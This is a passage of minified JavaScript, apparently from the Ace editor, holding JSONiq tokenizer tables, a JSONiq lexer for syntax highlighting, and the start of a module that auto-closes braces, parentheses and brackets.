41,1442,1241,1241,1564,1528,1263,1241,1508,1241,1241,1468,1498,2006,1540,2015,1539,2014,1748,2013,1539,1831,2014,2012,1500,1567,2022,2021,1241,1580,1241,1241,2033,2037,1791,2045,2031,1241,1621,1241,1641,2044,1241,1241,1241,2093,1241,1241,2055,1241,1241,2067,1241,1283,1241,1241,1241,2101,2071,1241,1241,1241,2073,1848,2040,1241,1241,1241,2077,1241,1241,2106,1241,1241,2084,1241,2111,1241,1241,1381,1380,1241,1241,1241,2100,1241,2129,2118,2122,2126,2197,2133,3010,2825,2145,2698,2156,2226,2160,2161,2165,2174,2293,2194,2630,2201,2203,2152,3019,2226,2263,2209,2213,2218,2269,2292,2269,2269,2184,2226,2238,2148,2151,3017,2245,2214,2269,2269,2185,2226,2292,2269,2291,2269,2269,2269,2292,2205,3019,2226,2226,2160,2160,2160,2261,2160,2160,2160,2262,2276,2160,2160,2277,2216,2283,2216,2269,2269,2268,2269,2267,2269,2269,2269,2271,2568,2292,2269,2293,2269,2182,2190,2269,2186,2226,2226,2226,2226,2227,2160,2160,2160,2160,2263,2160,2275,2277,2282,2215,2217,2269,2269,2291,2269,2269,2293,2291,2269,2220,2269,2295,2294,2269,2269,2305,2233,2262,2278,2218,2269,2234,2226,2226,2228,2160,2160,2160,2289,2220,2294,2294,2269,2269,2304,2269,2160,2160,2287,2269,2269,2305,2269,2269,2312,2269,2269,2225,2226,2160,2287,2289,2219,2304,2295,2314,2234,2226,2314,2269,2226,2226,2160,2288,2219,2222,2304,2296,2269,2224,2160,2160,2269,2302,2294,2314,2224,2226,2288,2220,2294,2269,2290,2269,2269,2293,2269,2269,2269,2269,2270,2221,2313,2225,2227,2160,2300,2269,2225,2261,2309,2234,2229,2223,2318,2318,2318,2328,2336,2340,2344,2350,2637,2712,2358,2362,2372,2135,2378,2398,2135,2135,2135,2135,2136,2417,2241,2135,2378,2135,2135,2980,2984,2135,3006,2135,2135,2135,2945,2931,2425,2400,2135,2135,2135,2954,2135,2481,2433,2135,2135,2988,2824,2135,2135,2482,2434,2135,2135,2440,2445,2452,2135,2135,2998,3002,2961,2441,2446,2453,2463,2974,2135,2135,2135,2140,2642,2709,2459,2470,2465,2135,2135,3005,2135,2135,2987,2823,2458,2469,2464,2975,2135,2135,2135,2353,2488,2447,2324,2974,2135,2409,2459,2448,2135,2961,2487,2446,2476,2323,2973,2135,2135,2135,2354,2476,2974,2135,2135,2135,2957,2135,2135,2960,2135,2135,2135,2363,2409,2459,2474,2465,2487,2571,2973,2135,2135,2168,2973,2135,2135,2135,2959,2135,2135,2135,2506,2135,2957,2488,2170,2135,2135,2135,2960,2135,2818,2493,2135,2135,3033,2135,2135,2135,2934,2819,2494,2135,2135,2135,2976,2780,2499,2135,2135,2135,3e3,2968,2135,2935,2135,2135,2135,2364,2507,2135,2135,2934,2135,2135,2780,2492,2507,2135,2135,2506,2780,2135,2135,2782,2780,2135,2782,2135,2783,2374,2514,2135,2135,2135,3007,2530,2974,2135,2135,2135,3008,2135,2135,2134,2135,2526,2531,2975,2135,2135,3042,2581,2575,2956,2135,2135,2135,2394,2135,2508,2535,2840,2844,2495,2135,2135,2136,2684,2537,2842,2846,2135,2136,2561,2581,2551,2536,2841,2845,2975,3043,2582,2843,2555,2135,3040,3044,2538,2844,2975,2135,2135,2253,2644,2672,2542,2554,2135,2135,2346,2873,2551,2555,2135,2135,2135,2381,2559,2565,2538,2553,2135,2560,2914,2576,2590,2135,2135,2135,2408,2136,2596,2624,2135,2135,2135,2409,2135,2618,2597,3008,2135,2135,2380,2956,2601,2135,2135,2135,2410,2620,2624,2135,2136,2383,2135,2135,2783,2623,2135,2135,2393,2888,2136,2621,3008,2135,2618,2618,2622,2135,2135,2405,2414,2619,2384,2624,2135,2136,2950,2135,2138,2135,2139,2135,2604,2623,2135,2140,2878,2665,2957,2622,2135,2135,2428,2762,2606,2612,2135,2135,2501,2586,2604,3038,2135,2604,3036,2387,2958,2386,2135,2141,2135,2421,2387,2385,2135,2385,2384,2384,2135,2386,2628,2384,2135,2135,2501,2596,2591,2135,2135,2135,2400,2135,2634,2135,2135,2559,2580,2575,2648,2135,2135,2135,2429,2649,2135,2135,2135,2435,2654,2658,2135,2135,2135,2436,2649,2178,2659,2135,2135,2595,2601,2669,2677,2135,2135,2616,2957,2879,2665,2691,2135,2363,2367,2900,2878,2664,2690,2975,2877,2643,2670,2974,2671,2975,2135,2135,2619,2608,2669,2673,2135,2135,2653,2177,2672,2135,2135,2135,2486,2168,2251,2255,2695,2974,2709,2135,2135,2135,2487,2169,2399,2716,2975,2135,2363,2770,2776,2640,2717,2135,2135,2729,2135,2135,2641,2718,2135,2135,2135,2505,2135,2640,2257,2974,2135,2727,2975,2135,2365,2332,2895,2957,2135,2959,2135,2365,2749,2754,2959,2958,2958,2135,2380,2793,2799,2135,2735,2738,2135,2381,2135,2135,2940,2974,2135,2744,2135,2135,2739,2519,2976,2745,2135,2135,2135,2509,2755,2135,2135,2135,2510,2772,2778,2135,2135,2740,2520,2135,2771,2777,2135,2135,2759,2750,2792,2798,2135,2135,2781,2392,2779,2135,2135,2135,2521,2135,2679,2248,2135,2135,2681,2480,2135,2135,2786,3e3,2135,2679,2683,2135,2135,2416,2135,2135,2135,2525,2135,2730,2135,2135,2135,2560,2581,2135,2805,2135,2135,2804,2962,2832,2974,2135,2382,2135,2135,2958,2135,2135,2960,2135,2829,2833,2975,2961,2965,2969,2973,2968,2972,2135,2135,2135,2641,2135,2515,2966,2970,2851,2478,2135,2135,2808,2135,2809,2135,2135,2135,2722,2852,2479,2135,2135,2815,2135,2135,2766,2853,2480,2135,2857,2479,2135,2388,2723,2135,2364,2331,2894,2858,2480,2135,2135,2850,2478,2135,2135,2135,2806,2864,2135,2399,2256,2974,2865,2135,2135,2862,2135,2135,2135,2685,2807,2865,2135,2135,2807,2863,2135,2135,2135,2686,2884,2807,2135,2809,2807,2135,2135,2807,2806,2705,2810,2808,2700,2869,2702,2702,2702,2704,2883,2135,2135,2135,2730,2884,2135,2135,2135,2731,2321,2546,2135,2135,2876,2255,2889,2322,2547,2135,2401,2135,2135,2135,2949,2367,2893,2544,2973,2906,2973,2135,2135,2877,2663,2368,2901,2907,2974,2366,2899,2905,2972,2920,2974,2135,2135,2911,2900,2920,2363,2913,2918,2465,2941,2975,2135,2135,2924,2928,2974,2945,2931,2135,2135,2135,2765,2136,2955,2135,2135,2939,2931,2380,2135,2135,2380,2135,2135,2135,2780,2507,2137,2135,2137,2135,2139,2135,2806,2810,2135,2135,2135,2992,2135,2135,2962,2966,2970,2974,2135,2135,2787,3014,2135,2521,2993,2135,2135,2135,2803,2135,2135,2135,2618,2607,2997,3001,2135,2135,2963,2967,2971,2975,2135,2135,2791,2797,2135,3009,2999,3003,2787,3001,2135,2135,2964,2968,2785,2999,3003,2135,2135,2135,2804,2785,2999,3004,2135,2135,2135,2807,2135,2135,3023,2135,2135,2135,2811,2135,2135,3027,2135,2135,2135,2837,2968,3028,2135,2135,2135,2875,2135,2784,3029,2135,2408,2457,2446,0,14,0,-2120220672,1610612736,-2074083328,-2002780160,-2111830528,1073872896,1342177280,1075807216,4096,16384,2048,8192,0,8192,0,0,0,0,1,0,0,0,2,0,-2145386496,8388608,1073741824,0,2147483648,2147483648,2097152,2097152,2097152,536870912,0,0,134217728,33554432,1536,268435456,268435456,268435456,268435456,128,256,32,0,65536,131072,524288,16777216,268435456,2147483648,1572864,1835008,640,32768,65536,262144,1048576,2097152,196608,196800,196608,196608,0,131072,131072,131072,196608,196624,196608,196624,196608,196608,128,4096,16384,16384,2048,0,4,0,0,2147483648,2097152,0,1024,32,32,0,65536,1572864,1048576,32768,32768,32768,32768,196608,196608,196608,64,64,196608,196608,131072,131072,131072,131072,268435456,268435456,64,196736,196608,196608,196608,131072,196608,196608,16384,4,4,4,2,32,32,65536,1048576,12582912,1073741824,0,0,2,8,16,96,2048,32768,0,0,131072,268435456,268435456,268435456,256,256,196608,196672,196608,196608,196608,196608,4,0,256,256,256,256,32,32,32768,32,32,32,32,32768,268435456,268435456,268435456,196608,196608,196608,196624,196608,196608,196608,16,16,16,268435456,196608,64,64,64,196608,196608,196608,196672,268435456,64,64,196608,196608,16,196608,196608,196608,268435456,64,196608,131072,262144,4194304,25165824,33554432,134217728,268435456,268435456,196608,262152,8,256,512,3072,16384,200,-1073741816,8392713,40,8392718,520,807404072,40,520,100663304,0,0,-540651761,-540651761,257589048,0,262144,0,0,3,8,256,0,4,6,4100,8388612,0,0,0,3,4,8,256,512,1024,0,2097152,0,0,-537854471,-537854471,0,100663296,0,0,1,2,0,0,0,16384,0,0,0,96,14336,0,0,0,7,8,234881024,0,0,0,8,0,0,0,0,262144,0,0,16,64,384,512,0,1,1,0,12582912,0,0,0,0,33554432,67108864,-606084144,-606084144,-606084138,0,0,28,32,768,1966080,-608174080,0,0,0,14,35056,16,64,896,24576,98304,98304,131072,262144,524288,1048576,4194304,25165824,1048576,62914560,134217728,-805306368,0,384,512,16384,65536,131072,262144,29360128,33554432,134217728,268435456,1073741824,2147483648,262144,524288,1048576,29360128,33554432,524288,1048576,16777216,33554432,134217728,268435456,1073741824,0,0,0,123856,1966080,0,64,384,16384,65536,131072,16384,65536,524288,268435456,2147483648,0,0,524288,2147483648,0,0,1,16,0,256,524288,0,0,0,25,96,128,-537854471,0,0,0,32,7404800,-545259520,0,0,0,60,0,249,64768,1048576,6291456,6291456,25165824,100663296,402653184,1073741824,96,128,1280,2048,4096,57344,6291456,57344,6291456,8388608,16777216,33554432,201326592,1342177280,2147483648,0,57344,6291456,8388608,100663296,134217728,2147483648,0,0,0,1,8,16,64,128,64,128,256,1024,131072,131072,131072,262144,524288,16777216,57344,6291456,8388608,67108864,134217728,64,256,1024,2048,4096,57344,64,256,0,24576,32768,6291456,67108864,134217728,0,1,64,256,24576,32768,4194304,32768,4194304,67108864,0,0,64,256,0,0,24576,32768,0,16384,4194304,67108864,64,16384,0,0,1,64,256,16384,4194304,67108864,0,0,0,16384,0,16384,16384,0,-470447874,-470447874,-470447874,0,0,128,0,0,8,96,2048,32768,262144,8388608,35056,1376256,-471859200,0,0,14,16,224,2048,32768,2097152,4194304,8388608,-486539264,0,96,128,2048,32768,262144,2097152,262144,2097152,8388608,33554432,536870912,1073741824,2147483648,0,1610612736,2147483648,0,0,1,524288,1048576,12582912,0,0,0,151311,264503296,2097152,8388608,33554432,1610612736,2147483648,262144,8388608,33554432,536870912,67108864,4194304,0,4194304,0,4194304,4194304,0,0,524288,8388608,536870912,1073741824,2147483648,1,4097,8388609,96,2048,32768,1073741824,2147483648,0,96,2048,2147483648,0,0,96,2048,0,0,1,12582912,0,0,0,0,1641895695,1641895695,0,0,0,249,7404800,15,87808,1835008,1639972864,0,768,5120,16384,65536,1835008,1835008,12582912,16777216,1610612736,0,3,4,8,768,4096,65536,0,0,256,512,786432,8,256,512,4096,16384,1835008,16384,1835008,12582912,1610612736,0,0,0,256,0,0,0,4,8,16,32,1,2,8,256,16384,524288,16384,524288,1048576,12582912,1610612736,0,0,0,8388608,0,0,0,524288,4194304,0,0,0,8388608,-548662288,-548662288,-548662288,0,0,256,16384,65536,520093696,-1073741824,0,0,0,16777216,0,16,32,960,4096,4980736,520093696,1073741824,0,32,896,4096,57344,1048576,6291456,8388608,16777216,100663296,134217728,268435456,2147483648,0,512,786432,4194304,33554432,134217728,268435456,0,786432,4194304,134217728,268435456,0,524288,4194304,268435456,0,0,0,0,0,4194304,4194304,-540651761,0,0,0,2,4,8,16,96,128,264503296,-805306368,0,0,0,8,256,512,19456,131072,3072,16384,131072,262144,8388608,16777216,512,1024,2048,16384,131072,262144,131072,262144,8388608,33554432,201326592,268435456,0,3,4,256,1024,2048,57344,16384,131072,8388608,33554432,134217728,268435456,0,3,256,1024,16384,131072,33554432,134217728,1073741824,2147483648,0,0,256,524288,2147483648,0,3,256,33554432,134217728,1073741824,0,1,2,33554432,1,2,134217728,1073741824,0,1,2,134217728,0,0,0,64,0,0,0,16,32,896,4096,786432,4194304,16777216,33554432,201326592,268435456,1073741824,2147483648,0,0,0,15,0,4980736,4980736,4980736,70460,70460,3478332,0,0,1008,4984832,520093696,60,4864,65536,0,0,0,12,16,32,256,512,4096,65536,0,0,0,67108864,0,0,0,12,0,256,512,65536,0,0,1024,512,131072,131072,4,16,32,65536,0,4,16,32,0,0,0,4,16,0,0,16384,67108864,0,0,1,24,96,128,256,1024],r.TOKEN=[\"(0)\",\"JSONChar\",\"JSONCharRef\",\"JSONPredefinedCharRef\",\"ModuleDecl\",\"Annotation\",\"OptionDecl\",\"Operator\",\"Variable\",\"Tag\",\"EndTag\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSectionContents\",\"AttrTest\",\"Wildcard\",\"EQName\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"AposChar\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"NCName\",\"QName\",\"S\",\"CharRef\",\"CommentContents\",\"DocTag\",\"DocCommentContents\",\"EOF\",\"'!'\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$$'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"'(:~'\",\"')'\",\"'*'\",\"'*'\",\"','\",\"'-->'\",\"'.'\",\"'/'\",\"'/>'\",\"':'\",\"':)'\",\"';'\",\"'<!--'\",\"'<![CDATA['\",\"'<?'\",\"'='\",\"'>'\",\"'?'\",\"'?>'\",\"'NaN'\",\"'['\",\"']'\",\"']]>'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'|'\",\"'}'\",\"'}}'\"]},{}],2:[function(e,t,n){\"use strict\";var r=e(\"./JSONiqTokenizer\").JSONiqTokenizer,i=e(\"./lexer\").Lexer,s=\"NaN|after|allowing|ancestor|ancestor-or-self|and|append|array|as|ascending|at|attribute|base-uri|before|boundary-space|break|by|case|cast|castable|catch|child|collation|comment|constraint|construction|contains|context|continue|copy|copy-namespaces|count|decimal-format|decimal-separator|declare|default|delete|descendant|descendant-or-self|descending|digit|div|document|document-node|element|else|empty|empty-sequence|encoding|end|eq|every|except|exit|external|false|first|following|following-sibling|for|from|ft-option|function|ge|greatest|group|grouping-separator|gt|idiv|if|import|in|index|infinity|insert|instance|integrity|intersect|into|is|item|json|json-item|jsoniq|last|lax|le|least|let|loop|lt|minus-sign|mod|modify|module|namespace|namespace-node|ne|next|node|nodes|not|null|object|of|only|option|or|order|ordered|ordering|paragraphs|parent|pattern-separator|per-mille|percent|preceding|preceding-sibling|previous|processing-instruction|rename|replace|return|returning|revalidation|satisfies|schema|schema-attribute|schema-element|score|select|self|sentences|sliding|some|stable|start|strict|switch|text|then|times|to|treat|true|try|tumbling|type|typeswitch|union|unordered|updating|validate|value|variable|version|when|where|while|window|with|words|xquery|zero-digit\".split(\"|\"),o=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"keyword\"}}),u=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"text\",next:function(e){e.pop()}}}),a=\"constant.language\",f=\"constant\",l=\"comment\",c=\"xml-pe\",h=\"constant.buildin\",p=function(e){return\"'\"+e+\"'\"},d={start:[{name:p(\"(#\"),token:h,next:function(e){e.push(\"Pragma\")}},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\"(:~\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:p(\"<?\"),token:c,next:function(e){e.push(\"PI\")}},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposString\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotString\")}},{name:\"Annotation\",token:\"support.function\"},{name:\"ModuleDecl\",token:\"keyword\",next:function(e){e.push(\"Prefix\")}},{name:\"OptionDecl\",token:\"keyword\",next:function(e){e.push(\"_EQName\")}},{name:\"AttrTest\",token:\"support.type\"},{name:\"Variable\",token:\"variable\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:\"IntegerLiteral\",token:f},{name:\"DecimalLiteral\",token:f},{name:\"DoubleLiteral\",token:f},{name:\"Operator\",token:\"keyword.operator\"},{name:\"EQName\",token:function(e){return s.indexOf(e)!==-1?\"keyword\":\"support.function\"}},{name:p(\"(\"),token:\"lparen\"},{name:p(\")\"),token:\"rparen\"},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:p(\"}\"),token:\"text\",next:function(e){e.length>1&&e.pop()}},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}].concat(o),_EQName:[{name:\"EQName\",token:\"text\",next:function(e){e.pop()}}].concat(u),Prefix:[{name:\"NCName\",token:\"text\",next:function(e){e.pop()}}].concat(u),StartTag:[{name:p(\">\"),token:\"meta.tag\",next:function(e){e.push(\"TagContent\")}},{name:\"QName\",token:\"entity.other.attribute-name\"},{name:p(\"=\"),token:\"text\"},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposAttr\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotAttr\")}},{name:p(\"/>\"),token:\"meta.tag.r\",next:function(e){e.pop()}}],TagContent:[{name:\"ElementContentChar\",token:\"text\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"text\"},{name:p(\"}}\"),token:\"text\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}},{name:\"EndTag\",token:\"meta.tag\",next:function(e){e.pop(),e.pop()}}],AposAttr:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],QuotAttr:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],Pragma:[{name:\"PragmaContents\",token:h},{name:p(\"#\"),token:h},{name:p(\"#)\"),token:h,next:function(e){e.pop()}}],Comment:[{name:\"CommentContents\",token:\"comment\"},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\":)\"),token:\"comment\",next:function(e){e.pop()}}],CommentDoc:[{name:\"DocCommentContents\",token:\"comment.doc\"},{name:\"DocTag\",token:\"comment.doc.tag\"},{name:p(\"(:\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\":)\"),token:\"comment.doc\",next:function(e){e.pop()}}],XMLComment:[{name:\"DirCommentContents\",token:l},{name:p(\"-->\"),token:l,next:function(e){e.pop()}}],CData:[{name:\"CDataSectionContents\",token:a},{name:p(\"]]>\"),token:a,next:function(e){e.pop()}}],PI:[{name:\"DirPIContents\",token:c},{name:p(\"?\"),token:c},{name:p(\"?>\"),token:c,next:function(e){e.pop()}}],AposString:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposChar\",token:\"string\"}],QuotString:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"JSONPredefinedCharRef\",token:\"constant.language.escape\"},{name:\"JSONCharRef\",token:\"constant.language.escape\"},{name:\"JSONChar\",token:\"string\"}]};n.JSONiqLexer=function(){return new i(r,d)}},{\"./JSONiqTokenizer\":1,\"./lexer\":3}],3:[function(e,t,n){\"use strict\";var r=function(e){var t=e;this.tokens=[],this.reset=function(){t=t,this.tokens=[]},this.startNonterminal=function(){},this.endNonterminal=function(){},this.terminal=function(e,n,r){this.tokens.push({name:e,value:t.substring(n,r)})},this.whitespace=function(e,n){this.tokens.push({name:\"WS\",value:t.substring(e,n)})}};n.Lexer=function(e,t){this.tokens=[],this.getLineTokens=function(n,i){i=i===\"start\"||!i?'[\"start\"]':i;var s=JSON.parse(i),o=new r(n),u=new e(n,o),a=[];for(;;){var f=s[s.length-1];try{o.tokens=[],u[\"parse_\"+f]();var l=null;o.tokens.length>1&&o.tokens[0].name===\"WS\"&&(a.push({type:\"text\",value:o.tokens[0].value}),o.tokens.splice(0,1));var c=o.tokens[0],h=t[f];for(var p=0;p<h.length;p++){var d=t[f][p];if(typeof d.name==\"function\"&&d.name(c)||d.name===c.name){l=d;break}}if(c.name===\"EOF\")break;if(c.value===\"\")throw\"Encountered empty string lexical rule.\";a.push({type:l===null?\"text\":typeof l.token==\"function\"?l.token(c.value):l.token,value:c.value}),l&&l.next&&l.next(s)}catch(v){if(v instanceof u.ParseException){var m=0;for(var g=0;g<a.length;g++)m+=a[g].value.length;return a.push({type:\"text\",value:n.substring(m)}),{tokens:a,state:JSON.stringify([\"start\"])}}throw v}}return{tokens:a,state:JSON.stringify(s)}}}},{}]},{},[2])(2)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var 